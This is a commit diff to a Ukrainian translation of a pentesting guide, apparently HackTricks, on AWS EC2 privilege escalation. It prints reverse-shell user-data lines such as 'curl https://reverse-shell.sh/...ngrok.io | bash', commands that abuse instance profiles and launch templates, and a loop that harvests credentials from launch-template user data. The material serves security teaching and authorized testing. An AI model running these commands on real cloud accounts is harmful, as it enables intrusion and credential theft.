Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-02-06 02:14:29 +00:00
parent 1f8cc1aef9
commit 3a8719b29d

View File

@@ -4,7 +4,7 @@
## EC2
Для отримання додаткової **інформації про EC2** перевірте:
Для отримання більшої **інформації про EC2** перевірте:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -30,7 +30,7 @@ echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
@@ -44,7 +44,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
#### Підвищення привілеїв до ECS
З цим набором дозволів ви також можете **створити екземпляр EC2 і зареєструвати його в кластері ECS**. Таким чином, **сервіси** ECS будуть **запущені** в **екземплярі EC2**, до якого у вас є доступ, і тоді ви зможете проникнути в ці сервіси (контейнери docker) і **вкрасти їх ролі ECS**.
З цим набором дозволів ви також могли б **створити екземпляр EC2 і зареєструвати його в кластері ECS**. Таким чином, **сервіси** ECS будуть **запущені** в **екземплярі EC2**, до якого у вас є доступ, і тоді ви зможете проникнути в ці сервіси (контейнери docker) і **вкрасти їх ролі ECS, прикріплені**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -82,17 +82,17 @@ aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name
```
Якщо **профіль екземпляра має роль** і атакуючий **не може її видалити**, є інший обхідний шлях. Він може **знайти** **профіль екземпляра без ролі** або **створити новий** (`iam:CreateInstanceProfile`), **додати** **роль** до цього **профілю екземпляра** (як обговорювалося раніше) і **асоціювати профіль екземпляра** з скомпрометованим i**нстансом:**
- Якщо екземпляр **не має жодного профілю** екземпляра (`ec2:AssociateIamInstanceProfile`)
- Якщо екземпляр **не має жодного профілю екземпляра** (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно скомпрометувати AWS EC2 інстанс і мати додаткові дозволи або специфічний статус профілю інстансу).
**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно зламати AWS EC2 інстанцію та мати додаткові дозволи або специфічний статус профілю інстанції).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
З цими дозволами можливо змінити профіль інстансу, асоційований з інстансом, тому якщо атака вже мала доступ до інстансу, вона зможе вкрасти облікові дані для більшої кількості ролей профілю інстансу, змінивши той, що з ним асоційований.
З цими дозволами можливо змінити профіль інстанції, асоційований з інстанцією, тому якщо атака вже мала доступ до інстанції, вона зможе вкрасти облікові дані для більшої кількості ролей профілю інстанції, змінивши той, що з нею асоційований.
- Якщо **є профіль інстансу**, ви можете **видалити** профіль інстансу (`ec2:DisassociateIamInstanceProfile`) і **асоціювати** його.
- Якщо **є профіль інстанції**, ви можете **видалити** профіль інстанції (`ec2:DisassociateIamInstanceProfile`) і **асоціювати** його.
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
Зловмисник з **`ec2:ModifyInstanceAttribute`** може змінювати атрибути екземплярів. Серед них він може **змінити дані користувача**, що означає, що він може змусити екземпляр **виконувати довільні дані.** Це може бути використано для отримання **rev shell до EC2 екземпляра**.
Атакуючий з **`ec2:ModifyInstanceAttribute`** може змінювати атрибути екземплярів. Серед них він може **змінити дані користувача**, що означає, що він може змусити екземпляр **виконувати довільні дані.** Це може бути використано для отримання **rev shell до EC2 екземпляра**.
Зверніть увагу, що атрибути можна **змінювати лише тоді, коли екземпляр зупинено**, тому **дозволи** **`ec2:StopInstances`** та **`ec2:StartInstances`**.
Зверніть увагу, що атрибути можна **змінювати лише під час зупинки екземпляра**, тому **дозволи** **`ec2:StopInstances`** та **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -162,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Зловмисник з правами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`та `ec2:ModifyLaunchTemplate`** може створити **нову версію шаблону запуску** з **реверсною оболонкою** в **даних користувача** та **будь-якою EC2 IAM роллю на ньому**, змінити версію за замовчуванням, і **будь-яка група Autoscaler**, **яка використовує** цей **шаблон запуску**, що **налаштована** на використання **останній** або **версії за замовчуванням**, буде **перезапускати екземпляри**, використовуючи цей шаблон, і виконає реверсну оболонку.
Зловмисник з правами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`та `ec2:ModifyLaunchTemplate`** може створити **нову версію шаблону запуску** з **реверсною оболонкою** в **даних користувача** та **будь-якою EC2 IAM роллю на ньому**, змінити версію за замовчуванням, і **будь-яка група Autoscaler**, **яка використовує** цей **шаблон запуску**, що **налаштований** на використання **останній** або **версії за замовчуванням**, буде **знову запускати екземпляри**, використовуючи цей шаблон, і виконає реверсну оболонку.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -200,7 +200,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
### `!autoscaling`
Набір дозволів **`ec2:CreateLaunchTemplate`** та **`autoscaling:CreateAutoScalingGroup`** **не є достатніми для підвищення** привілеїв до ролі IAM, оскільки для прикріплення ролі, зазначеної в Конфігурації запуску або в Шаблоні запуску, **вам потрібні дозволи `iam:PassRole` та `ec2:RunInstances`** (що є відомим підвищенням привілеїв).
Набір дозволів **`ec2:CreateLaunchTemplate`** та **`autoscaling:CreateAutoScalingGroup`** **не є достатнім для підвищення** привілеїв до ролі IAM, оскільки для прикріплення ролі, зазначеної в Конфігурації запуску або в Шаблоні запуску, **вам потрібні дозволи `iam:PassRole` та `ec2:RunInstances`** (що є відомим підвищенням привілеїв).
### `ec2-instance-connect:SendSSHPublicKey`
@@ -215,7 +215,7 @@ aws ec2-instance-connect send-ssh-public-key \
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
Зловмисник з дозволом **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** може **додати ssh ключ до серійного з'єднання**. Якщо серійне з'єднання не активоване, зловмиснику потрібен дозвіл **`ec2:EnableSerialConsoleAccess`, щоб його активувати**.
Зловмисник з дозволом **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** може **додати ssh ключ до серійного з'єднання**. Якщо серійне з'єднання не активоване, зловмисник потребує дозволу **`ec2:EnableSerialConsoleAccess` для його активації**.
Щоб підключитися до серійного порту, вам також **потрібно знати ім'я користувача та пароль користувача** всередині машини.
```bash
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Цей спосіб не є особливо корисним для privesc, оскільки вам потрібно знати ім'я користувача та пароль, щоб його експлуатувати.
Цей спосіб не є особливо корисним для підвищення привілеїв, оскільки вам потрібно знати ім'я користувача та пароль для його експлуатації.
**Потенційний вплив:** (Дуже непереконливо) Прямий privesc до EC2 IAM ролей, прикріплених до запущених екземплярів.
**Потенційний вплив:** (Дуже непереконливо) Пряме підвищення привілеїв до EC2 IAM ролей, прикріплених до запущених екземплярів.
### `describe-launch-templates`,`describe-launch-template-versions`
Оскільки шаблони запуску мають версії, зловмисник з правами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може експлуатувати їх для виявлення чутливої інформації, такої як облікові дані, присутні в даних користувача. Щоб досягти цього, наступний скрипт проходить через усі версії доступних шаблонів запуску:
Оскільки шаблони запуску мають версії, зловмисник з правами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може використати їх для виявлення чутливої інформації, такої як облікові дані, присутні в даних користувача. Для цього наступний скрипт проходить через усі версії доступних шаблонів запуску:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -248,13 +248,13 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
У наведених командах, хоча ми вказуємо певні шаблони (`aws_|password|token|api`), ви можете використовувати інший regex для пошуку інших типів чутливої інформації.
У наведених вище командах, хоча ми вказуємо певні шаблони (`aws_|password|token|api`), ви можете використовувати інший regex для пошуку інших типів чутливої інформації.
Припустимо, ми знаходимо `aws_access_key_id` та `aws_secret_access_key`, ми можемо використовувати ці облікові дані для автентифікації в AWS.
**Потенційний вплив:** Пряме підвищення привілеїв до IAM користувача(ів).
## References
## Посилання
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)